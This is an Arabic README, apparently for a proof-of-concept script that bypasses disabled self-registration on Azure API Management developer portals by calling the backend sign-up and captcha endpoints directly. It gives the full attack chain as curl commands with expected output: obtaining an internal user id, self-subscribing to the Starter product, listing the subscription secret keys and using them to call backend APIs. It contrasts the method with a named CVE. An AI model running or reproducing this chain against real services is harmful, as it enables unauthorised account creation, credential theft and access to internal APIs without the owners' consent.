
سكربت Python لتجاوز التسجيل في Azure APIM عندما تكون الواجهة معطلة، وهذا يختلف عن CVE-2025-66390 لأنه لا يتطلب إعداد أي شيء عبر المستأجرين.
نص برمجي لإثبات المفهوم (PoC) لتجاوز تعطيل تسجيل بوابة المطوّرين على Azure APIM عن طريق استدعاء واجهة التسجيل الخلفية مباشرةً.
يمكن ضبط بوابات مطوّري Azure APIM لتعطيل التسجيل الذاتي عبر واجهة البوابة. في بعض النشرات، تبقى نقطة نهاية الواجهة الأساسية (/signup) نشطة ويمكن الوصول إليها حتى عندما يكون زر الواجهة مخفياً أو مُزالاً. يستغل هذا البرنامج النصي تلك الفجوة عبر:
/v2/captcha-challenge/signup مع التحدي المُحل وبيانات الحسابتُطلب جميع المدخلات (رابط الهدف، بيانات الاعتماد، البروكسي) بشكل تفاعلي في وقت التشغيل.
يصف CVE-2025-66390 (درجة خطورة CVSS 9.8 حرجة) تجاوزاً عبر المستأجرين في تسجيل APIM: حيث يستغل المهاجم مستأجراً يكون فيه التسجيل مفعّلاً لتسجيل حسابات في مستأجر مختلف يكون فيه التسجيل معطّلاً، عبر التلاعب بترويسة Host في طلبات الواجهة. وقد اعتبرته Microsoft مشكلة إعداد وليس ثغرة في المنتج.
لا يتطلب هذا الأمر إنشاء أي مستأجر عبر؛ بدلاً من ذلك يستخدم فقط نقطة النهاية /v2/captcha-challenge لحل الكابتشا خلال 75000 تكرار (في المتوسط).
python3 apim_signup.py
يطلب إدخال رابط الهدف، وبيانات الحساب، وكلمة المرور (إدخال مخفي مع عرضها للتأكيد)، والبروكسي الاختياري.
بمجرد نجاح طلب التسجيل ووصول بريد التأكيد، تكون سلسلة الهجوم الكاملة كالتالي:
انقر رابط التأكيد في بريد التسجيل. هذا يفعّل الحساب قبل أن تقوم واجهة الإدارة بمصادقته.
استدعِ واجهة إدارة APIM باستخدام مصادقة Basic (base64(email:password)) للحصول على معرف المستخدم الداخلي الخاص بك:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
يُستخدم حقل id المُعاد في جميع استدعاءات واجهة الإدارة اللاحقة.
أو استخدم /developer/identity?api-version=2022-04-01-preview <-- الإصدار لا يهم
ستظهر واجهة مستخدم تطالب بتسجيل الدخول، ومن هناك يمكنك الحصول على معرفك أيضاً.
يأتي المنتج الافتراضي Starter مع approvalRequired: false، ما يعني عدم الحاجة إلى موافقة المسؤول. اشترك ذاتياً عبر PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
يصل بريد تأكيد ("اشتراكك في Starter") من [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
استخدم المفتاح الأساسي كقيمة Ocp-Apim-Subscription-Key مع بوابة APIM لإجراء استدعاءات خلفية مصادق عليها:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
يتم تحديد الوصول بناءً على واجهات API المقيّدة بمنتج Starter — وفي النشر الذي يحتوي على إعدادات خاطئة يمكن أن يكشف هذا عن الواجهات الخلفية الداخلية دون مصادقة إضافية.
لمزيد من التفاصيل، هذا المقال جيد جداً في وصف السلسلة؛ فقط استبعد جزء cross tenant. https://www.praetorian.com/blog/azure-apim-signup-bypass/